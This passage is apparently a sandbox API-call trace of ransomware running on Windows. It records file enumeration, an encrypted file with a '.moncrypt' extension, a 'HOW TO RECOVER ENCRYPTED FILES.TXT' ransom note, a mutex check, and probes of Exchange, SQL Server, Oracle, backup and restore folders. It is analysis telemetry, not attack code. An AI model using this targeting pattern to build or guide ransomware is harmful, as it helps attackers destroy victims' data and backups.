nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e280 [0056.495] FileTimeToLocalFileTime (in: lpFileTime=0x18e4f8, lpLocalFileTime=0x18e408 | out: lpLocalFileTime=0x18e408) returned 1 [0056.495] FileTimeToDosDateTime (in: lpFileTime=0x18e408, lpFatDate=0x18e4c6, lpFatTime=0x18e4c4 | out: lpFatDate=0x18e4c6, lpFatTime=0x18e4c4) returned 1 [0056.495] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.495] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.495] GlobalUnlock (hMem=0x44000c) returned 0 [0056.495] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.495] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.495] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.495] GlobalUnlock (hMem=0x44000c) returned 0 [0056.495] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.495] GlobalUnlock (hMem=0x440004) returned 0 [0056.496] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.496] FindNextFileW (in: hFindFile=0x54e280, lpFindFileData=0x18e4e4 | out: lpFindFileData=0x18e4e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x42dd4b60, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x42dd4b60, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.496] FileTimeToLocalFileTime (in: lpFileTime=0x18e4f8, lpLocalFileTime=0x18e404 | out: lpLocalFileTime=0x18e404) returned 1 [0056.496] FileTimeToDosDateTime (in: lpFileTime=0x18e404, lpFatDate=0x18e4c6, lpFatTime=0x18e4c4 | out: lpFatDate=0x18e4c6, lpFatTime=0x18e4c4) returned 1 [0056.496] GlobalLock (hMem=0x440004) returned 0x556b80 [0056.496] GlobalHandle (pMem=0x556b80) returned 0x440004 [0056.496] GlobalUnlock (hMem=0x440004) returned 0 [0056.496] GlobalLock (hMem=0x440004) returned 0x556b80 [0056.496] GlobalLock (hMem=0x44000c) returned 0x558b90 [0056.496] GlobalHandle (pMem=0x556b80) returned 0x440004 [0056.496] GlobalUnlock (hMem=0x440004) returned 0 [0056.496] GlobalHandle (pMem=0x558b90) returned 0x44000c [0056.496] GlobalUnlock (hMem=0x44000c) returned 0 [0056.496] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.496] FindNextFileW (in: hFindFile=0x54e280, lpFindFileData=0x18e4e4 | out: lpFindFileData=0x18e4e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x2976a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG.moncrypt", cAlternateFileName="FPEXTM~1.MON")) returned 1 [0056.496] FileTimeToLocalFileTime (in: lpFileTime=0x18e4f8, lpLocalFileTime=0x18e404 | out: lpLocalFileTime=0x18e404) returned 1 [0056.496] FileTimeToDosDateTime (in: lpFileTime=0x18e404, lpFatDate=0x18e4c6, lpFatTime=0x18e4c4 | out: lpFatDate=0x18e4c6, lpFatTime=0x18e4c4) returned 1 [0056.496] GlobalLock (hMem=0x44000c) returned 0x556b80 [0056.496] GlobalHandle (pMem=0x556b80) returned 0x44000c [0056.496] GlobalUnlock (hMem=0x44000c) returned 0 [0056.496] GlobalLock (hMem=0x44000c) returned 0x556b80 [0056.496] GlobalLock (hMem=0x440004) returned 0x558b90 [0056.496] GlobalHandle (pMem=0x556b80) returned 0x44000c [0056.496] GlobalUnlock (hMem=0x44000c) returned 0 [0056.496] GlobalHandle (pMem=0x558b90) returned 0x440004 [0056.496] GlobalUnlock (hMem=0x440004) returned 0 [0056.496] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.497] FindNextFileW (in: hFindFile=0x54e280, lpFindFileData=0x18e4e4 | out: lpFindFileData=0x18e4e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42dd4b60, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x42dd4b60, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x42dd4b60, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0056.497] FileTimeToLocalFileTime (in: lpFileTime=0x18e4f8, lpLocalFileTime=0x18e404 | out: lpLocalFileTime=0x18e404) returned 1 [0056.497] FileTimeToDosDateTime (in: lpFileTime=0x18e404, lpFatDate=0x18e4c6, lpFatTime=0x18e4c4 | out: lpFatDate=0x18e4c6, lpFatTime=0x18e4c4) returned 1 [0056.497] GlobalLock (hMem=0x440004) returned 0x556b80 [0056.497] GlobalHandle (pMem=0x556b80) returned 0x440004 [0056.497] GlobalUnlock (hMem=0x440004) returned 0 [0056.497] GlobalLock (hMem=0x440004) returned 0x556b80 [0056.497] GlobalLock (hMem=0x44000c) returned 0x558b90 [0056.497] GlobalHandle (pMem=0x556b80) returned 0x440004 [0056.497] GlobalUnlock (hMem=0x440004) returned 0 [0056.497] GlobalHandle (pMem=0x558b90) returned 0x44000c [0056.497] GlobalUnlock (hMem=0x44000c) returned 0 [0056.497] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.497] FindNextFileW (in: hFindFile=0x54e280, lpFindFileData=0x18e4e4 | out: lpFindFileData=0x18e4e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42dd4b60, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x42dd4b60, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x42dd4b60, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0 [0056.497] GetLastError () returned 0x12 [0056.497] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0056.497] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0056.497] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0056.497] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.497] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.497] GlobalUnlock (hMem=0x44000c) returned 0 [0056.497] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.497] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.497] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.497] GlobalUnlock (hMem=0x44000c) returned 0 [0056.497] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.497] GlobalUnlock (hMem=0x440004) returned 0 [0056.498] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.498] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 1 [0056.498] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0056.498] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0056.498] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.498] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.498] GlobalUnlock (hMem=0x440004) returned 0 [0056.498] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.498] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.498] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.498] GlobalUnlock (hMem=0x440004) returned 0 [0056.498] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.498] GlobalUnlock (hMem=0x44000c) returned 0 [0056.498] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.498] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 0 [0056.498] GetLastError () returned 0x12 [0056.498] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0056.498] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0056.498] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0056.498] FindClose (in: hFindFile=0x54e180 | out: hFindFile=0x54e180) returned 1 [0056.499] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0056.499] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0056.499] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.499] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.499] GlobalUnlock (hMem=0x44000c) returned 0 [0056.499] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.499] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.499] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.499] GlobalUnlock (hMem=0x44000c) returned 0 [0056.499] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.499] GlobalUnlock (hMem=0x440004) returned 0 [0056.499] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.499] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.499] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.499] GlobalUnlock (hMem=0x440004) returned 0 [0056.499] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.499] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.499] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.499] GlobalUnlock (hMem=0x440004) returned 0 [0056.499] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.499] GlobalUnlock (hMem=0x44000c) returned 0 [0056.499] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.499] SysReAllocStringLen (in: pbstr=0x18f444*=0x0, psz="C:\\Program Files\\Common Files\\Services", len=0x26 | out: pbstr=0x18f444*="C:\\Program Files\\Common Files\\Services") returned 1 [0056.500] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.500] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.500] GlobalUnlock (hMem=0x44000c) returned 0 [0056.500] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.500] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.500] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.500] GlobalUnlock (hMem=0x44000c) returned 0 [0056.500] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.500] GlobalUnlock (hMem=0x440004) returned 0 [0056.500] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\￾￿") returned 26 [0056.500] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\Microsoft\\Exchange Server", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@哞U咲U企@\x18䁼Q\x18\x1b")) returned 0xffffffff [0056.500] GetLastError () returned 0x3 [0056.500] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Services\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\services\\") returned 0x27 [0056.500] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0056.500] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\￾￿") returned 21 [0056.501] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\Microsoft SQL Server", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="∜R䱠@呤U企@\x18㿬Q\x181")) returned 0xffffffff [0056.501] GetLastError () returned 0x2 [0056.501] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Services\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\services\\") returned 0x27 [0056.501] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0056.501] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\￾￿") returned 9 [0056.501] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\Firebird", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="∜R䱠@册U企@\x18?T\x18;")) returned 0xffffffff [0056.502] GetLastError () returned 0x2 [0056.502] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Services\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\services\\") returned 0x27 [0056.502] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0056.502] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\￾￿") returned 8 [0056.502] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\MSSQL.1", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="∜R䱠@坜U企@\x18?T\x18D")) returned 0xffffffff [0056.502] GetLastError () returned 0x2 [0056.502] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Services\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\services\\") returned 0x27 [0056.502] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0056.502] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\\x18ꮠUÄP⏨R㯸") returned 37 [0056.503] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="∜R䱠@呤U企@\x18册U\x18j")) returned 0xffffffff [0056.503] GetLastError () returned 0x2 [0056.503] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Services\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\services\\") returned 0x27 [0056.503] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\\x18ꮠUÄP⏨R㯸") returned 37 [0056.503] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\\x18ꮠUÄP⏨R㯸") returned 6 [0056.503] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\Adobe", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="∜R䱠@坜U企@\x18?T\x18q")) returned 0xffffffff [0056.503] GetLastError () returned 0x2 [0056.503] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Services\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\services\\") returned 0x27 [0056.503] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="adobe\\冈UP") returned 6 [0056.504] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\\x18ꮠUÄP⏨R㯸") returned 7 [0056.504] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\Oracle", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="∜R䱠@婴U企@\x18?T\x18y")) returned 0xffffffff [0056.504] GetLastError () returned 0x2 [0056.504] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Services\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\services\\") returned 0x27 [0056.504] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0056.504] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\\x18ꮠUÄP⏨R㯸") returned 7 [0056.504] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\Archive", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="∜R䱠@呤U企@\x18?T\x18\x81")) returned 0xffffffff [0056.504] GetLastError () returned 0x2 [0056.505] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Services\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\services\\") returned 0x27 [0056.505] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0056.505] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\\x18ꮠUÄP⏨R㯸") returned 6 [0056.505] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\Backup", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="∜R䱠@坜U企@\x18?T\x18\x88")) returned 0xffffffff [0056.505] GetLastError () returned 0x2 [0056.505] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Services\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\services\\") returned 0x27 [0056.505] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0056.534] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\\x18ꮠUÄP⏨R㯸") returned 6 [0056.535] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\Reserv", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="∜R䱠@婴U企@\x18?T\x18\x8f")) returned 0xffffffff [0056.536] GetLastError () returned 0x2 [0056.536] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Services\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\services\\") returned 0x27 [0056.536] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0056.547] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\\x18ꮠUÄP⏨R㯸") returned 7 [0056.548] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\Restore", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="∜R䱠@呤U企@\x18?T\x18\x97")) returned 0xffffffff [0056.548] GetLastError () returned 0x2 [0056.548] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Services\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\services\\") returned 0x27 [0056.548] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="restoreT ") 